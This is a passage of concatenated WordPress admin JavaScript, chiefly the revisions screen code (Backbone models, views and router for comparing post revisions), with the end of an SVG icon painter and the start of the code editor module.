					// Replace `style` attributes.
					xml = xml.replace( /style="(.+?)"/g, 'style="fill:' + color + '"');

					// Replace `fill` properties in `<style>` tags.
					xml = xml.replace( /fill:.*?;/g, 'fill: ' + color + ';');

					if ( 'btoa' in window ) {
						xml = window.btoa( xml );
					} else {
						xml = base64.btoa( xml );
					}

					$element.data( 'wp-ui-svg-' + color, xml );
				} else {
					$element.data( 'wp-ui-svg-' + color, 'none' );
					return;
				}
			}

			$element.attr( 'style', 'background-image: url("data:image/svg+xml;base64,' + xml + '") !important;' );
		}
	};

})( jQuery, window, document );
/**
 * @file Revisions interface functions, Backbone classes and
 * the revisions.php document.ready bootstrap.
 *
 * @output wp-admin/js/revisions.js
 */

/* global isRtl */

window.wp = window.wp || {};

(function($) {
	var revisions;
	/**
	 * Expose the module in window.wp.revisions.
	 */
	revisions = wp.revisions = { model: {}, view: {}, controller: {} };

	// Link post revisions data served from the back end.
	revisions.settings = window._wpRevisionsSettings || {};

	// For debugging.
	revisions.debug = false;

	/**
	 * wp.revisions.log
	 *
	 * A debugging utility for revisions. Works only when a
	 * debug flag is on and the browser supports it.
	 */
	revisions.log = function() {
		if ( window.console && revisions.debug ) {
			window.console.log.apply( window.console, arguments );
		}
	};

	// Handy functions to help with positioning.
	$.fn.allOffsets = function() {
		var offset = this.offset() || {top: 0, left: 0}, win = $(window);
		return _.extend( offset, {
			right:  win.width()  - offset.left - this.outerWidth(),
			bottom: win.height() - offset.top  - this.outerHeight()
		});
	};

	$.fn.allPositions = function() {
		var position = this.position() || {top: 0, left: 0}, parent = this.parent();
		return _.extend( position, {
			right:  parent.outerWidth()  - position.left - this.outerWidth(),
			bottom: parent.outerHeight() - position.top  - this.outerHeight()
		});
	};

	/**
	 * ========================================================================
	 * MODELS
	 * ========================================================================
	 */
	revisions.model.Slider = Backbone.Model.extend({
		defaults: {
			value: null,
			values: null,
			min: 0,
			max: 1,
			step: 1,
			range: false,
			compareTwoMode: false
		},

		initialize: function( options ) {
			this.frame = options.frame;
			this.revisions = options.revisions;

			// Listen for changes to the revisions or mode from outside.
			this.listenTo( this.frame, 'update:revisions', this.receiveRevisions );
			this.listenTo( this.frame, 'change:compareTwoMode', this.updateMode );

			// Listen for internal changes.
			this.on( 'change:from', this.handleLocalChanges );
			this.on( 'change:to', this.handleLocalChanges );
			this.on( 'change:compareTwoMode', this.updateSliderSettings );
			this.on( 'update:revisions', this.updateSliderSettings );

			// Listen for changes to the hovered revision.
			this.on( 'change:hoveredRevision', this.hoverRevision );

			this.set({
				max:   this.revisions.length - 1,
				compareTwoMode: this.frame.get('compareTwoMode'),
				from: this.frame.get('from'),
				to: this.frame.get('to')
			});
			this.updateSliderSettings();
		},

		getSliderValue: function( a, b ) {
			return isRtl ? this.revisions.length - this.revisions.indexOf( this.get(a) ) - 1 : this.revisions.indexOf( this.get(b) );
		},

		updateSliderSettings: function() {
			if ( this.get('compareTwoMode') ) {
				this.set({
					values: [
						this.getSliderValue( 'to', 'from' ),
						this.getSliderValue( 'from', 'to' )
					],
					value: null,
					range: true // Ensures handles cannot cross.
				});
			} else {
				this.set({
					value: this.getSliderValue( 'to', 'to' ),
					values: null,
					range: false
				});
			}
			this.trigger( 'update:slider' );
		},

		// Called when a revision is hovered.
		hoverRevision: function( model, value ) {
			this.trigger( 'hovered:revision', value );
		},

		// Called when `compareTwoMode` changes.
		updateMode: function( model, value ) {
			this.set({ compareTwoMode: value });
		},

		// Called when `from` or `to` changes in the local model.
		handleLocalChanges: function() {
			this.frame.set({
				from: this.get('from'),
				to: this.get('to')
			});
		},

		// Receives revisions changes from outside the model.
		receiveRevisions: function( from, to ) {
			// Bail if nothing changed.
			if ( this.get('from') === from && this.get('to') === to ) {
				return;
			}

			this.set({ from: from, to: to }, { silent: true });
			this.trigger( 'update:revisions', from, to );
		}

	});

	revisions.model.Tooltip = Backbone.Model.extend({
		defaults: {
			revision: null,
			offset: {},
			hovering: false, // Whether the mouse is hovering.
			scrubbing: false // Whether the mouse is scrubbing.
		},

		initialize: function( options ) {
			this.frame = options.frame;
			this.revisions = options.revisions;
			this.slider = options.slider;

			this.listenTo( this.slider, 'hovered:revision', this.updateRevision );
			this.listenTo( this.slider, 'change:hovering', this.setHovering );
			this.listenTo( this.slider, 'change:scrubbing', this.setScrubbing );
		},


		updateRevision: function( revision ) {
			this.set({ revision: revision });
		},

		setHovering: function( model, value ) {
			this.set({ hovering: value });
		},

		setScrubbing: function( model, value ) {
			this.set({ scrubbing: value });
		}
	});

	revisions.model.Revision = Backbone.Model.extend({});

	/**
	 * wp.revisions.model.Revisions
	 *
	 * A collection of post revisions.
	 */
	revisions.model.Revisions = Backbone.Collection.extend({
		model: revisions.model.Revision,

		initialize: function() {
			_.bindAll( this, 'next', 'prev' );
		},

		next: function( revision ) {
			var index = this.indexOf( revision );

			if ( index !== -1 && index !== this.length - 1 ) {
				return this.at( index + 1 );
			}
		},

		prev: function( revision ) {
			var index = this.indexOf( revision );

			if ( index !== -1 && index !== 0 ) {
				return this.at( index - 1 );
			}
		}
	});

	revisions.model.Field = Backbone.Model.extend({});

	revisions.model.Fields = Backbone.Collection.extend({
		model: revisions.model.Field
	});

	revisions.model.Diff = Backbone.Model.extend({
		initialize: function() {
			var fields = this.get('fields');
			this.unset('fields');

			this.fields = new revisions.model.Fields( fields );
		}
	});

	revisions.model.Diffs = Backbone.Collection.extend({
		initialize: function( models, options ) {
			_.bindAll( this, 'getClosestUnloaded' );
			this.loadAll = _.once( this._loadAll );
			this.revisions = options.revisions;
			this.postId = options.postId;
			this.requests  = {};
		},

		model: revisions.model.Diff,

		ensure: function( id, context ) {
			var diff     = this.get( id ),
				request  = this.requests[ id ],
				deferred = $.Deferred(),
				ids      = {},
				from     = id.split(':')[0],
				to       = id.split(':')[1];
			ids[id] = true;

			wp.revisions.log( 'ensure', id );

			this.trigger( 'ensure', ids, from, to, deferred.promise() );

			if ( diff ) {
				deferred.resolveWith( context, [ diff ] );
			} else {
				this.trigger( 'ensure:load', ids, from, to, deferred.promise() );
				_.each( ids, _.bind( function( id ) {
					// Remove anything that has an ongoing request.
					if ( this.requests[ id ] ) {
						delete ids[ id ];
					}
					// Remove anything we already have.
					if ( this.get( id ) ) {
						delete ids[ id ];
					}
				}, this ) );
				if ( ! request ) {
					// Always include the ID that started this ensure.
					ids[ id ] = true;
					request   = this.load( _.keys( ids ) );
				}

				request.done( _.bind( function() {
					deferred.resolveWith( context, [ this.get( id ) ] );
				}, this ) ).fail( _.bind( function() {
					deferred.reject();
				}) );
			}

			return deferred.promise();
		},

		// Returns an array of proximal diffs.
		getClosestUnloaded: function( ids, centerId ) {
			var self = this;
			return _.chain([0].concat( ids )).initial().zip( ids ).sortBy( function( pair ) {
				return Math.abs( centerId - pair[1] );
			}).map( function( pair ) {
				return pair.join(':');
			}).filter( function( diffId ) {
				return _.isUndefined( self.get( diffId ) ) && ! self.requests[ diffId ];
			}).value();
		},

		_loadAll: function( allRevisionIds, centerId, num ) {
			var self = this, deferred = $.Deferred(),
				diffs = _.first( this.getClosestUnloaded( allRevisionIds, centerId ), num );
			if ( _.size( diffs ) > 0 ) {
				this.load( diffs ).done( function() {
					self._loadAll( allRevisionIds, centerId, num ).done( function() {
						deferred.resolve();
					});
				}).fail( function() {
					if ( 1 === num ) { // Already tried 1. This just isn't working. Give up.
						deferred.reject();
					} else { // Request fewer diffs this time.
						self._loadAll( allRevisionIds, centerId, Math.ceil( num / 2 ) ).done( function() {
							deferred.resolve();
						});
					}
				});
			} else {
				deferred.resolve();
			}
			return deferred;
		},

		load: function( comparisons ) {
			wp.revisions.log( 'load', comparisons );
			// Our collection should only ever grow, never shrink, so `remove: false`.
			return this.fetch({ data: { compare: comparisons }, remove: false }).done( function() {
				wp.revisions.log( 'load:complete', comparisons );
			});
		},

		sync: function( method, model, options ) {
			if ( 'read' === method ) {
				options = options || {};
				options.context = this;
				options.data = _.extend( options.data || {}, {
					action: 'get-revision-diffs',
					post_id: this.postId
				});

				var deferred = wp.ajax.send( options ),
					requests = this.requests;

				// Record that we're requesting each diff.
				if ( options.data.compare ) {
					_.each( options.data.compare, function( id ) {
						requests[ id ] = deferred;
					});
				}

				// When the request completes, clear the stored request.
				deferred.always( function() {
					if ( options.data.compare ) {
						_.each( options.data.compare, function( id ) {
							delete requests[ id ];
						});
					}
				});

				return deferred;

			// Otherwise, fall back to `Backbone.sync()`.
			} else {
				return Backbone.Model.prototype.sync.apply( this, arguments );
			}
		}
	});


	/**
	 * wp.revisions.model.FrameState
	 *
	 * The frame state.
	 *
	 * @see wp.revisions.view.Frame
	 *
	 * @param {object}                    attributes        Model attributes - none are required.
	 * @param {object}                    options           Options for the model.
	 * @param {revisions.model.Revisions} options.revisions A collection of revisions.
	 */
	revisions.model.FrameState = Backbone.Model.extend({
		defaults: {
			loading: false,
			error: false,
			compareTwoMode: false
		},

		initialize: function( attributes, options ) {
			var state = this.get( 'initialDiffState' );
			_.bindAll( this, 'receiveDiff' );
			this._debouncedEnsureDiff = _.debounce( this._ensureDiff, 200 );

			this.revisions = options.revisions;

			this.diffs = new revisions.model.Diffs( [], {
				revisions: this.revisions,
				postId: this.get( 'postId' )
			} );

			// Set the initial diffs collection.
			this.diffs.set( this.get( 'diffData' ) );

			// Set up internal listeners.
			this.listenTo( this, 'change:from', this.changeRevisionHandler );
			this.listenTo( this, 'change:to', this.changeRevisionHandler );
			this.listenTo( this, 'change:compareTwoMode', this.changeMode );
			this.listenTo( this, 'update:revisions', this.updatedRevisions );
			this.listenTo( this.diffs, 'ensure:load', this.updateLoadingStatus );
			this.listenTo( this, 'update:diff', this.updateLoadingStatus );

			// Set the initial revisions, baseUrl, and mode as provided through attributes.

			this.set( {
				to : this.revisions.get( state.to ),
				from : this.revisions.get( state.from ),
				compareTwoMode : state.compareTwoMode
			} );

			// Start the router if browser supports History API.
			if ( window.history && window.history.pushState ) {
				this.router = new revisions.Router({ model: this });
				if ( Backbone.History.started ) {
					Backbone.history.stop();
				}
				Backbone.history.start({ pushState: true });
			}
		},

		updateLoadingStatus: function() {
			this.set( 'error', false );
			this.set( 'loading', ! this.diff() );
		},

		changeMode: function( model, value ) {
			var toIndex = this.revisions.indexOf( this.get( 'to' ) );

			// If we were on the first revision before switching to two-handled mode,
			// bump the 'to' position over one.
			if ( value && 0 === toIndex ) {
				this.set({
					from: this.revisions.at( toIndex ),
					to:   this.revisions.at( toIndex + 1 )
				});
			}

			// When switching back to single-handled mode, reset 'from' model to
			// one position before the 'to' model.
			if ( ! value && 0 !== toIndex ) { // '! value' means switching to single-handled mode.
				this.set({
					from: this.revisions.at( toIndex - 1 ),
					to:   this.revisions.at( toIndex )
				});
			}
		},

		updatedRevisions: function( from, to ) {
			if ( this.get( 'compareTwoMode' ) ) {
				// @todo Compare-two loading strategy.
			} else {
				this.diffs.loadAll( this.revisions.pluck('id'), to.id, 40 );
			}
		},

		// Fetch the currently loaded diff.
		diff: function() {
			return this.diffs.get( this._diffId );
		},

		/*
		 * So long as `from` and `to` are changed at the same time, the diff
		 * will only be updated once. This is because Backbone updates all of
		 * the changed attributes in `set`, and then fires the `change` events.
		 */
		updateDiff: function( options ) {
			var from, to, diffId, diff;

			options = options || {};
			from = this.get('from');
			to = this.get('to');
			diffId = ( from ? from.id : 0 ) + ':' + to.id;

			// Check if we're actually changing the diff id.
			if ( this._diffId === diffId ) {
				return $.Deferred().reject().promise();
			}

			this._diffId = diffId;
			this.trigger( 'update:revisions', from, to );

			diff = this.diffs.get( diffId );

			// If we already have the diff, then immediately trigger the update.
			if ( diff ) {
				this.receiveDiff( diff );
				return $.Deferred().resolve().promise();
			// Otherwise, fetch the diff.
			} else {
				if ( options.immediate ) {
					return this._ensureDiff();
				} else {
					this._debouncedEnsureDiff();
					return $.Deferred().reject().promise();
				}
			}
		},

		// A simple wrapper around `updateDiff` to prevent the change event's
		// parameters from being passed through.
		changeRevisionHandler: function() {
			this.updateDiff();
		},

		receiveDiff: function( diff ) {
			// Did we actually get a diff?
			if ( _.isUndefined( diff ) || _.isUndefined( diff.id ) ) {
				this.set({
					loading: false,
					error: true
				});
			} else if ( this._diffId === diff.id ) { // Make sure the current diff didn't change.
				this.trigger( 'update:diff', diff );
			}
		},

		_ensureDiff: function() {
			return this.diffs.ensure( this._diffId, this ).always( this.receiveDiff );
		}
	});


	/**
	 * ========================================================================
	 * VIEWS
	 * ========================================================================
	 */

	/**
	 * wp.revisions.view.Frame
	 *
	 * Top level frame that orchestrates the revisions experience.
	 *
	 * @param {object}                     options       The options hash for the view.
	 * @param {revisions.model.FrameState} options.model The frame state model.
	 */
	revisions.view.Frame = wp.Backbone.View.extend({
		className: 'revisions',
		template: wp.template('revisions-frame'),

		initialize: function() {
			this.listenTo( this.model, 'update:diff', this.renderDiff );
			this.listenTo( this.model, 'change:compareTwoMode', this.updateCompareTwoMode );
			this.listenTo( this.model, 'change:loading', this.updateLoadingStatus );
			this.listenTo( this.model, 'change:error', this.updateErrorStatus );

			this.views.set( '.revisions-control-frame', new revisions.view.Controls({
				model: this.model
			}) );
		},

		render: function() {
			wp.Backbone.View.prototype.render.apply( this, arguments );

			$('html').css( 'overflow-y', 'scroll' );
			$('#wpbody-content .wrap').append( this.el );
			this.updateCompareTwoMode();
			this.renderDiff( this.model.diff() );
			this.views.ready();

			return this;
		},

		renderDiff: function( diff ) {
			this.views.set( '.revisions-diff-frame', new revisions.view.Diff({
				model: diff
			}) );
		},

		updateLoadingStatus: function() {
			this.$el.toggleClass( 'loading', this.model.get('loading') );
		},

		updateErrorStatus: function() {
			this.$el.toggleClass( 'diff-error', this.model.get('error') );
		},

		updateCompareTwoMode: function() {
			this.$el.toggleClass( 'comparing-two-revisions', this.model.get('compareTwoMode') );
		}
	});

	/**
	 * wp.revisions.view.Controls
	 *
	 * The controls view.
	 *
	 * Contains the revision slider, previous/next buttons, the meta info and the compare checkbox.
	 */
	revisions.view.Controls = wp.Backbone.View.extend({
		className: 'revisions-controls',

		initialize: function() {
			_.bindAll( this, 'setWidth' );

			// Add the button view.
			this.views.add( new revisions.view.Buttons({
				model: this.model
			}) );

			// Add the checkbox view.
			this.views.add( new revisions.view.Checkbox({
				model: this.model
			}) );

			// Prep the slider model.
			var slider = new revisions.model.Slider({
				frame: this.model,
				revisions: this.model.revisions
			}),

			// Prep the tooltip model.
			tooltip = new revisions.model.Tooltip({
				frame: this.model,
				revisions: this.model.revisions,
				slider: slider
			});

			// Add the tooltip view.
			this.views.add( new revisions.view.Tooltip({
				model: tooltip
			}) );

			// Add the tickmarks view.
			this.views.add( new revisions.view.Tickmarks({
				model: tooltip
			}) );

			// Add the slider view.
			this.views.add( new revisions.view.Slider({
				model: slider
			}) );

			// Add the Metabox view.
			this.views.add( new revisions.view.Metabox({
				model: this.model
			}) );
		},

		ready: function() {
			this.top = this.$el.offset().top;
			this.window = $(window);
			this.window.on( 'scroll.wp.revisions', {controls: this}, function(e) {
				var controls  = e.data.controls,
					container = controls.$el.parent(),
					scrolled  = controls.window.scrollTop(),
					frame     = controls.views.parent;

				if ( scrolled >= controls.top ) {
					if ( ! frame.$el.hasClass('pinned') ) {
						controls.setWidth();
						container.css('height', container.height() + 'px' );
						controls.window.on('resize.wp.revisions.pinning click.wp.revisions.pinning', {controls: controls}, function(e) {
							e.data.controls.setWidth();
						});
					}
					frame.$el.addClass('pinned');
				} else if ( frame.$el.hasClass('pinned') ) {
					controls.window.off('.wp.revisions.pinning');
					controls.$el.css('width', 'auto');
					frame.$el.removeClass('pinned');
					container.css('height', 'auto');
					controls.top = controls.$el.offset().top;
				} else {
					controls.top = controls.$el.offset().top;
				}
			});
		},

		setWidth: function() {
			this.$el.css('width', this.$el.parent().width() + 'px');
		}
	});

	// The tickmarks view.
	revisions.view.Tickmarks = wp.Backbone.View.extend({
		className: 'revisions-tickmarks',
		direction: isRtl ? 'right' : 'left',

		initialize: function() {
			this.listenTo( this.model, 'change:revision', this.reportTickPosition );
		},

		reportTickPosition: function( model, revision ) {
			var offset, thisOffset, parentOffset, tick, index = this.model.revisions.indexOf( revision );
			thisOffset = this.$el.allOffsets();
			parentOffset = this.$el.parent().allOffsets();
			if ( index === this.model.revisions.length - 1 ) {
				// Last one.
				offset = {
					rightPlusWidth: thisOffset.left - parentOffset.left + 1,
					leftPlusWidth: thisOffset.right - parentOffset.right + 1
				};
			} else {
				// Normal tick.
				tick = this.$('div:nth-of-type(' + (index + 1) + ')');
				offset = tick.allPositions();
				_.extend( offset, {
					left: offset.left + thisOffset.left - parentOffset.left,
					right: offset.right + thisOffset.right - parentOffset.right
				});
				_.extend( offset, {
					leftPlusWidth: offset.left + tick.outerWidth(),
					rightPlusWidth: offset.right + tick.outerWidth()
				});
			}
			this.model.set({ offset: offset });
		},

		ready: function() {
			var tickCount, tickWidth;
			tickCount = this.model.revisions.length - 1;
			tickWidth = 1 / tickCount;
			this.$el.css('width', ( this.model.revisions.length * 50 ) + 'px');

			_(tickCount).times( function( index ){
				this.$el.append( '<div style="' + this.direction + ': ' + ( 100 * tickWidth * index ) + '%"></div>' );
			}, this );
		}
	});

	// The metabox view.
	revisions.view.Metabox = wp.Backbone.View.extend({
		className: 'revisions-meta',

		initialize: function() {
			// Add the 'from' view.
			this.views.add( new revisions.view.MetaFrom({
				model: this.model,
				className: 'diff-meta diff-meta-from'
			}) );

			// Add the 'to' view.
			this.views.add( new revisions.view.MetaTo({
				model: this.model
			}) );
		}
	});

	// The revision meta view (to be extended).
	revisions.view.Meta = wp.Backbone.View.extend({
		template: wp.template('revisions-meta'),

		events: {
			'click .restore-revision': 'restoreRevision'
		},

		initialize: function() {
			this.listenTo( this.model, 'update:revisions', this.render );
		},

		prepare: function() {
			return _.extend( this.model.toJSON()[this.type] || {}, {
				type: this.type
			});
		},

		restoreRevision: function() {
			document.location = this.model.get('to').attributes.restoreUrl;
		}
	});

	// The revision meta 'from' view.
	revisions.view.MetaFrom = revisions.view.Meta.extend({
		className: 'diff-meta diff-meta-from',
		type: 'from'
	});

	// The revision meta 'to' view.
	revisions.view.MetaTo = revisions.view.Meta.extend({
		className: 'diff-meta diff-meta-to',
		type: 'to'
	});

	// The checkbox view.
	revisions.view.Checkbox = wp.Backbone.View.extend({
		className: 'revisions-checkbox',
		template: wp.template('revisions-checkbox'),

		events: {
			'click .compare-two-revisions': 'compareTwoToggle'
		},

		initialize: function() {
			this.listenTo( this.model, 'change:compareTwoMode', this.updateCompareTwoMode );
		},

		ready: function() {
			if ( this.model.revisions.length < 3 ) {
				$('.revision-toggle-compare-mode').hide();
			}
		},

		updateCompareTwoMode: function() {
			this.$('.compare-two-revisions').prop( 'checked', this.model.get('compareTwoMode') );
		},

		// Toggle the compare two mode feature when the compare two checkbox is checked.
		compareTwoToggle: function() {
			// Activate compare two mode?
			this.model.set({ compareTwoMode: $('.compare-two-revisions').prop('checked') });
		}
	});

	// The tooltip view.
	// Encapsulates the tooltip.
	revisions.view.Tooltip = wp.Backbone.View.extend({
		className: 'revisions-tooltip',
		template: wp.template('revisions-meta'),

		initialize: function() {
			this.listenTo( this.model, 'change:offset', this.render );
			this.listenTo( this.model, 'change:hovering', this.toggleVisibility );
			this.listenTo( this.model, 'change:scrubbing', this.toggleVisibility );
		},

		prepare: function() {
			if ( _.isNull( this.model.get('revision') ) ) {
				return;
			} else {
				return _.extend( { type: 'tooltip' }, {
					attributes: this.model.get('revision').toJSON()
				});
			}
		},

		render: function() {
			var otherDirection,
				direction,
				directionVal,
				flipped,
				css      = {},
				position = this.model.revisions.indexOf( this.model.get('revision') ) + 1;

			flipped = ( position / this.model.revisions.length ) > 0.5;
			if ( isRtl ) {
				direction = flipped ? 'left' : 'right';
				directionVal = flipped ? 'leftPlusWidth' : direction;
			} else {
				direction = flipped ? 'right' : 'left';
				directionVal = flipped ? 'rightPlusWidth' : direction;
			}
			otherDirection = 'right' === direction ? 'left': 'right';
			wp.Backbone.View.prototype.render.apply( this, arguments );
			css[direction] = this.model.get('offset')[directionVal] + 'px';
			css[otherDirection] = '';
			this.$el.toggleClass( 'flipped', flipped ).css( css );
		},

		visible: function() {
			return this.model.get( 'scrubbing' ) || this.model.get( 'hovering' );
		},

		toggleVisibility: function() {
			if ( this.visible() ) {
				this.$el.stop().show().fadeTo( 100 - this.el.style.opacity * 100, 1 );
			} else {
				this.$el.stop().fadeTo( this.el.style.opacity * 300, 0, function(){ $(this).hide(); } );
			}
			return;
		}
	});

	// The buttons view.
	// Encapsulates all of the configuration for the previous/next buttons.
	revisions.view.Buttons = wp.Backbone.View.extend({
		className: 'revisions-buttons',
		template: wp.template('revisions-buttons'),

		events: {
			'click .revisions-next .button': 'nextRevision',
			'click .revisions-previous .button': 'previousRevision'
		},

		initialize: function() {
			this.listenTo( this.model, 'update:revisions', this.disabledButtonCheck );
		},

		ready: function() {
			this.disabledButtonCheck();
		},

		// Go to a specific model index.
		gotoModel: function( toIndex ) {
			var attributes = {
				to: this.model.revisions.at( toIndex )
			};
			// If we're at the first revision, unset 'from'.
			if ( toIndex ) {
				attributes.from = this.model.revisions.at( toIndex - 1 );
			} else {
				this.model.unset('from', { silent: true });
			}

			this.model.set( attributes );
		},

		// Go to the 'next' revision.
		nextRevision: function() {
			var toIndex = this.model.revisions.indexOf( this.model.get('to') ) + 1;
			this.gotoModel( toIndex );
		},

		// Go to the 'previous' revision.
		previousRevision: function() {
			var toIndex = this.model.revisions.indexOf( this.model.get('to') ) - 1;
			this.gotoModel( toIndex );
		},

		// Check to see if the Previous or Next buttons need to be disabled or enabled.
		disabledButtonCheck: function() {
			var maxVal   = this.model.revisions.length - 1,
				minVal   = 0,
				next     = $('.revisions-next .button'),
				previous = $('.revisions-previous .button'),
				val      = this.model.revisions.indexOf( this.model.get('to') );

			// Disable "Next" button if you're on the last node.
			next.prop( 'disabled', ( maxVal === val ) );

			// Disable "Previous" button if you're on the first node.
			previous.prop( 'disabled', ( minVal === val ) );
		}
	});


	// The slider view.
	revisions.view.Slider = wp.Backbone.View.extend({
		className: 'wp-slider',
		direction: isRtl ? 'right' : 'left',

		events: {
			'mousemove' : 'mouseMove'
		},

		initialize: function() {
			_.bindAll( this, 'start', 'slide', 'stop', 'mouseMove', 'mouseEnter', 'mouseLeave' );
			this.listenTo( this.model, 'update:slider', this.applySliderSettings );
		},

		ready: function() {
			this.$el.css('width', ( this.model.revisions.length * 50 ) + 'px');
			this.$el.slider( _.extend( this.model.toJSON(), {
				start: this.start,
				slide: this.slide,
				stop:  this.stop
			}) );

			this.$el.hoverIntent({
				over: this.mouseEnter,
				out: this.mouseLeave,
				timeout: 800
			});

			this.applySliderSettings();
		},

		mouseMove: function( e ) {
			var zoneCount         = this.model.revisions.length - 1,       // One fewer zone than models.
				sliderFrom        = this.$el.allOffsets()[this.direction], // "From" edge of slider.
				sliderWidth       = this.$el.width(),                      // Width of slider.
				tickWidth         = sliderWidth / zoneCount,               // Calculated width of zone.
				actualX           = ( isRtl ? $(window).width() - e.pageX : e.pageX ) - sliderFrom, // Flipped for RTL - sliderFrom.
				currentModelIndex = Math.floor( ( actualX  + ( tickWidth / 2 )  ) / tickWidth );    // Calculate the model index.

			// Ensure sane value for currentModelIndex.
			if ( currentModelIndex < 0 ) {
				currentModelIndex = 0;
			} else if ( currentModelIndex >= this.model.revisions.length ) {
				currentModelIndex = this.model.revisions.length - 1;
			}

			// Update the tooltip mode.
			this.model.set({ hoveredRevision: this.model.revisions.at( currentModelIndex ) });
		},

		mouseLeave: function() {
			this.model.set({ hovering: false });
		},

		mouseEnter: function() {
			this.model.set({ hovering: true });
		},

		applySliderSettings: function() {
			this.$el.slider( _.pick( this.model.toJSON(), 'value', 'values', 'range' ) );
			var handles = this.$('a.ui-slider-handle');

			if ( this.model.get('compareTwoMode') ) {
				// In RTL mode the 'left handle' is the second in the slider, 'right' is first.
				handles.first()
					.toggleClass( 'to-handle', !! isRtl )
					.toggleClass( 'from-handle', ! isRtl );
				handles.last()
					.toggleClass( 'from-handle', !! isRtl )
					.toggleClass( 'to-handle', ! isRtl );
			} else {
				handles.removeClass('from-handle to-handle');
			}
		},

		start: function( event, ui ) {
			this.model.set({ scrubbing: true });

			// Track the mouse position to enable smooth dragging,
			// overrides default jQuery UI step behavior.
			$( window ).on( 'mousemove.wp.revisions', { view: this }, function( e ) {
				var handles,
					view              = e.data.view,
					leftDragBoundary  = view.$el.offset().left,
					sliderOffset      = leftDragBoundary,
					sliderRightEdge   = leftDragBoundary + view.$el.width(),
					rightDragBoundary = sliderRightEdge,
					leftDragReset     = '0',
					rightDragReset    = '100%',
					handle            = $( ui.handle );

				// In two handle mode, ensure handles can't be dragged past each other.
				// Adjust left/right boundaries and reset points.
				if ( view.model.get('compareTwoMode') ) {
					handles = handle.parent().find('.ui-slider-handle');
					if ( handle.is( handles.first() ) ) {
						// We're the left handle.
						rightDragBoundary = handles.last().offset().left;
						rightDragReset    = rightDragBoundary - sliderOffset;
					} else {
						// We're the right handle.
						leftDragBoundary = handles.first().offset().left + handles.first().width();
						leftDragReset    = leftDragBoundary - sliderOffset;
					}
				}

				// Follow mouse movements, as long as handle remains inside slider.
				if ( e.pageX < leftDragBoundary ) {
					handle.css( 'left', leftDragReset ); // Mouse to left of slider.
				} else if ( e.pageX > rightDragBoundary ) {
					handle.css( 'left', rightDragReset ); // Mouse to right of slider.
				} else {
					handle.css( 'left', e.pageX - sliderOffset ); // Mouse in slider.
				}
			} );
		},

		getPosition: function( position ) {
			return isRtl ? this.model.revisions.length - position - 1: position;
		},

		// Responds to slide events.
		slide: function( event, ui ) {
			var attributes, movedRevision;
			// Compare two revisions mode.
			if ( this.model.get('compareTwoMode') ) {
				// Prevent sliders from occupying same spot.
				if ( ui.values[1] === ui.values[0] ) {
					return false;
				}
				if ( isRtl ) {
					ui.values.reverse();
				}
				attributes = {
					from: this.model.revisions.at( this.getPosition( ui.values[0] ) ),
					to: this.model.revisions.at( this.getPosition( ui.values[1] ) )
				};
			} else {
				attributes = {
					to: this.model.revisions.at( this.getPosition( ui.value ) )
				};
				// If we're at the first revision, unset 'from'.
				if ( this.getPosition( ui.value ) > 0 ) {
					attributes.from = this.model.revisions.at( this.getPosition( ui.value ) - 1 );
				} else {
					attributes.from = undefined;
				}
			}
			movedRevision = this.model.revisions.at( this.getPosition( ui.value ) );

			// If we are scrubbing, a scrub to a revision is considered a hover.
			if ( this.model.get('scrubbing') ) {
				attributes.hoveredRevision = movedRevision;
			}

			this.model.set( attributes );
		},

		stop: function() {
			$( window ).off('mousemove.wp.revisions');
			this.model.updateSliderSettings(); // To snap us back to a tick mark.
			this.model.set({ scrubbing: false });
		}
	});

	// The diff view.
	// This is the view for the current active diff.
	revisions.view.Diff = wp.Backbone.View.extend({
		className: 'revisions-diff',
		template:  wp.template('revisions-diff'),

		// Generate the options to be passed to the template.
		prepare: function() {
			return _.extend({ fields: this.model.fields.toJSON() }, this.options );
		}
	});

	// The revisions router.
	// Maintains the URL routes so browser URL matches state.
	revisions.Router = Backbone.Router.extend({
		initialize: function( options ) {
			this.model = options.model;

			// Maintain state and history when navigating.
			this.listenTo( this.model, 'update:diff', _.debounce( this.updateUrl, 250 ) );
			this.listenTo( this.model, 'change:compareTwoMode', this.updateUrl );
		},

		baseUrl: function( url ) {
			return this.model.get('baseUrl') + url;
		},

		updateUrl: function() {
			var from = this.model.has('from') ? this.model.get('from').id : 0,
				to   = this.model.get('to').id;
			if ( this.model.get('compareTwoMode' ) ) {
				this.navigate( this.baseUrl( '?from=' + from + '&to=' + to ), { replace: true } );
			} else {
				this.navigate( this.baseUrl( '?revision=' + to ), { replace: true } );
			}
		},

		handleRoute: function( a, b ) {
			var compareTwo = _.isUndefined( b );

			if ( ! compareTwo ) {
				b = this.model.revisions.get( a );
				a = this.model.revisions.prev( b );
				b = b ? b.id : 0;
				a = a ? a.id : 0;
			}
		}
	});

	/**
	 * Initialize the revisions UI for revision.php.
	 */
	revisions.init = function() {
		var state;

		// Bail if the current page is not revision.php.
		if ( ! window.adminpage || 'revision-php' !== window.adminpage ) {
			return;
		}

		state = new revisions.model.FrameState({
			initialDiffState: {
				// wp_localize_script doesn't stringifies ints, so cast them.
				to: parseInt( revisions.settings.to, 10 ),
				from: parseInt( revisions.settings.from, 10 ),
				// wp_localize_script does not allow for top-level booleans so do a comparator here.
				compareTwoMode: ( revisions.settings.compareTwoMode === '1' )
			},
			diffData: revisions.settings.diffData,
			baseUrl: revisions.settings.baseUrl,
			postId: parseInt( revisions.settings.postId, 10 )
		}, {
			revisions: new revisions.model.Revisions( revisions.settings.revisionData )
		});

		revisions.view.frame = new revisions.view.Frame({
			model: state
		}).render();
	};

	$( revisions.init );
}(jQuery));
/**
 * @output wp-admin/js/code-editor.js
 */

if ( 'undefined' === typeof window.wp ) {
	/**
	 * @namespace wp
	 */
	window.wp = {};
}
if ( 'undefined' === typeof window.wp.codeEditor ) {
	/**
	 * @namespace wp.codeEditor
	 */
	window.wp.codeEditor = {};
}

( function( $, wp ) {
	'use strict';

	/**
	 * Default settings for code editor.
	 *
	 * @since 4.9.0
	 * @type {object}
	 */
	wp.codeEditor.defaultSettings = {
		codemirror: {},
		csslint: {},
		htmlhint: {},
		jshint: {},
		onTabNext: function() {},
		onTabPrevious: function() {},
		onChangeLintingErrors: function() {},
		onUpdateErrorNotice: function() {}
	};

	/**
	 * Configure linting.
	 *
	 * @param {CodeMirror} editor - Editor.
	 * @param {Object}     settings - Code editor settings.
	 * @param {Object}     settings.codeMirror - Settings for CodeMirror.
	 * @param {Function}   settings.onChangeLintingErrors - Callback for when there are changes to linting errors.
	 * @param {Function}   settings.onUpdateErrorNotice - Callback to update error notice.
	 *
	 * @return {void}
	 */
